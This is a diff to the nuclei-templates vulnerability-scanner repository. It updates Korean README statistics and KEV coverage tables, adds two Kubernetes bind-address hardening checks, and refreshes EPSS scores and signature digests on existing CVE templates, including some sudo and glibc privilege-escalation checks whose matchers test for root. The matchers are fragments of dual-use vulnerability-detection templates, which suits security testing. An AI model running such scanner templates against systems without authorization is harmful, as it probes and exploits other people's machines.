-**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.

 ## Nuclei 템플릿 개요

@@ -39,24 +39,38 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei 템플릿 통계 Top 10
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위

-|    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848개 디렉토리, 11344개 파일**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
+{"tags":[{"name":"vuln","count":6497},{"name":"cve","count":3669},{"name":"discovery","count":3263},{"name":"vkev","count":1456},{"name":"panel","count":1370},{"name":"xss","count":1285},{"name":"wordpress","count":1279},{"name":"exposure","count":1162},{"name":"wp-plugin","count":1115},{"name":"rce","count":849},{"name":"osint","count":847},{"name":"tech","count":840},{"name":"misconfig","count":806},{"name":"lfi","count":803},{"name":"devops","count":744},{"name":"cloud","count":700},{"name":"wp","count":657},{"name":"detect","count":619},{"name":"edb","count":598},{"name":"wpscan","count":578},{"name":"cve2021","count":558},{"name":"packetstorm","count":551},{"name":"cve2022","count":542},{"name":"cve2023","count":519},{"name":"cve2024","count":516},{"name":"sqli","count":514},{"name":"unauth","count":495},{"name":"login","count":478},{"name":"intrusive","count":475},{"name":"kev","count":453},{"name":"authenticated","count":452},{"name":"file","count":388},{"name":"network","count":355},{"name":"cve2020","count":308},{"name":"oast","count":308},{"name":"default-login","count":294},{"name":"cve2025","count":264},{"name":"config","count":261},{"name":"tcp","count":259},{"name":"apache","count":253},{"name":"microsoft","count":251},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"auth-bypass","count":223},{"name":"malware","count":214},{"name":"token","count":214},{"name":"azure","count":210},{"name":"cve2019","count":209},{"name":"","count":206},{"name":"cve2018","count":197},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":190},{"name":"code","count":184},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":166},{"name":"ssrf","count":163},{"name":"security","count":161},{"name":"keys","count":157},{"name":"local","count":154},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"linux","count":137},{"name":"router","count":134},{"name":"ftp","count":134},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":125},{"name":"audit","count":122},{"name":"phishing","count":119},{"name":"kubernetes","count":116},{"name":"cve2010","count":115},{"name":"disclosure","count":110},{"name":"tokens","count":102},{"name":"js","count":101},{"name":"top-100","count":100},{"name":"file-upload","count":90},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"oracle","count":88},{"name":"seclists","count":86},{"name":"privesc","count":86},{"name":"takeover","count":83},{"name":"passive","count":83},{"name":"cisco","count":80},{"name":"enum","count":79},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":75},{"name":"adobe","count":73},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"deserialization","count":64},{"name":"vmware","count":64},{"name":"ir","count":63},{"name":"cve2016","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"traversal","count":53},{"name":"ssh","count":53},{"name":"aem","count":52},{"name":"php","count":52},{"name":"debug","count":51},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"ssti","count":50},{"name":"logs","count":50},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"plugin","count":48},{"name":"tenable","count":48},{"name":"api","count":48},{"name":"injection","count":48},{"name":"hackerone","count":48},{"name":"ibm","count":47},{"name":"fortinet","count":47},{"name":"generic","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"postgresql","count":41},{"name":"wp-theme","count":41},{"name":"k8s-cluster-security","count":41},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"sap","count":40},{"name":"xxe","count":40},{"name":"dlink","count":39},{"name":"oob","count":39},{"name":"cti","count":38},{"name":"jira","count":38},{"name":"dns","count":38},{"name":"devsecops","count":38},{"name":"osint-coding","count":36},{"name":"graphql","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"dashboard","count":35},{"name":"fuzz","count":35},{"name":"yonyou","count":34},{"name":"networking","count":34},{"name":"printer","count":34},{"name":"gitlab","count":34},{"name":"xwiki","count":34},{"naLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+| vuln      |  6497 | dhiyaneshdk   |  1923 | http       |  9423 | info     |  4395 | file |   445 |
+| cve       |  3669 | daffainfo     |   908 | cloud      |   661 | high     |  2602 | dns  |    27 |
+| discovery |  3263 | princechaddha |   857 | file       |   445 | medium   |  2501 |      |       |
+| vkev      |  1456 | dwisiswant0   |   805 | code       |   275 | critical |  1597 |      |       |
+| panel     |  1370 | ritikchaddha  |   691 | network    |   264 | low      |   342 |      |       |
+| xss       |  1285 | pussycat0x    |   688 | dast       |   241 | unknown  |    54 |      |       |
+| wordpress |  1279 | pikpikcu      |   352 | workflows  |   205 |          |       |      |       |
+| exposure  |  1162 | pdteam        |   316 | javascript |    97 |          |       |      |       |
+| wp-plugin |  1115 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| rce       |   849 | iamnoooob     |   263 | dns        |    24 |          |       |      |       |
@@ -0,0 +1,50 @@
+id: k8s-controller-manager-bind-address
+
+info:
+  name: Ensure kube-controller-manager --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
+    set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
+    exposure of the control-plane component.
+  impact: |
+    If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
+    interact with the controller-manager API, causing potential information leakage or enabling further attacks
+    against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-controller-manager"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-controller-manager'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: k8s-scheduler-bind-address
+
+info:
+  name: Ensure kube-scheduler --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
+    0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
+    control-plane component.
+  impact: |
+    If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
+    with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-scheduler"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-scheduler'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
@@ -11,8 +11,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94477
-    epss-percentile: 0.99998
+    epss-score: 0.9447
+    epss-percentile: 0.99997
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -138,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cf6352146ab1ba96473f532d3e1b57fcc63105a861b4935fb9582d2783ce5d8d022100d1e6f1951f45b37e618277e24ba79cec62b7811f2b5ff714bd397f8b8724a8d0:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93875
-    epss-percentile: 0.99862
+    epss-score: 0.93817
+    epss-percentile: 0.99854
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
    epss-score: 0.94508
-    epss-percentile: 0.99999
+    epss-percentile: 1
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220013b6879d7764487c8b88f29158a874858c91a913af2263e70b20f6120607c7e022100907a0683448cf78b2c40b409b2ea20a8f53080bc0433c209b1f27d4f11e042ab:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94414
-    epss-percentile: 0.99976
+    epss-score: 0.94439
+    epss-percentile: 0.99988
  metadata:
    verified: true
    vendor: microsoft
@@ -154,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bfe6c91ff02988355dcd57b3fa729d9e17db3ebae971a307c8029ee83def9a85022100e7c38a6cdf665e98c48a7ce807e5c009ac0d5caeb15a2bb64029eae94be4a768:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
    epss-score: 0.86126
-    epss-percentile: 0.99351
+    epss-percentile: 0.99366
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008d7db0d4b45fe84c5a7ce0c30a0aed60ad40ec2b470ecdb07d3fbc38d2322aba0221008cf96f0453362ba88d8b7f99110dd05e9c3b0df0c0b4505963f6adbfe4afb87b:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93368
-    epss-percentile: 0.99801
+    epss-score: 0.93865
+    epss-percentile: 0.99862
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -102,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c657da8cc9ad2e840a24b4127b4ccb57334be737c7066297acd7882dec6d5c98022100c3d6272462e5efc0e0a7f2d672d5d91518c491d459cb29a9600a01aef5a05ddc:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.92155
-    epss-percentile: 0.99695
+    epss-score: 0.9169
+    epss-percentile: 0.99666
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92188
-    epss-percentile: 0.99697
+    epss-score: 0.92069
+    epss-percentile: 0.99696
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f550654ff4fd381f4f029e4879d59e04de35be1b96481dfe1a4ae5c1d586aefd02205c658bc4187aac652911faa156a216c3b4a3cef1dba6bbdbee5b9511f13474dc:922c64590222798bb761d5b6d8e72950
@@ -23,7 +23,7 @@ info:
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.9394
-    epss-percentile: 0.99872
+    epss-percentile: 0.99873
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -197,4 +197,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a306439b8f0b135fa4da44bda9ad9bb92e83eb9facd946cf75ef6b6c18184612022079264b72c8228e338e502ff3d9c2e3b27ba8690da789c9141807aac92bd61b03:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.92037
-    epss-percentile: 0.99684
+    epss-score: 0.91874
+    epss-percentile: 0.9968
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c437829726d8044e8b104899b489be010f60356532e6dcca3ffd43453b250a66022100da8dd57ec608b5156669d8fc51daaeccd06819cc03d3b7acff5dac7cea3b4be4:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.9117
-    epss-percentile: 0.99625
+    epss-score: 0.91644
+    epss-percentile: 0.99663
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -626,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220709cf39423d322835d3c1a8a320b55b69c464d74e94d980a1e5c527993163d470220157e9258c64e608f2ea25e45050025ec84ca0950c25c10aebe2f19132e40461b:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
    epss-score: 0.86244
-    epss-percentile: 0.99356
+    epss-percentile: 0.99371
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f46d378825b5ef42f300eb24c8b7b7aa6f385a1ff1cc1a9691ce28f9e6c364f8022100f807dc33a6f717f25dc9ecfafe0e9494cb4994043284bcd823eed945f84d8337:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.78409
-    epss-percentile: 0.98978
+    epss-score: 0.69791
+    epss-percentile: 0.98604
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bb77668179fee48c55d4ca4b671616f309fdcf616fac3789760a43d5b4336108022100a0861f51f41e904af640e4ae9395a5478f58f5d20a79228539c11440392774d5:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.25078
-    epss-percentile: 0.95931
+    epss-score: 0.31786
+    epss-percentile: 0.96643
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bebcacbaf6c472aa79594241100947bc6d34f79b25d32019136e8fe8b74df5c2022100c4633bc3acae8da78b1bb86a54f84430d28b52731e023fea0a664eaad63b3ec0:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.69676
-    epss-percentile: 0.98585
+    epss-score: 0.67268
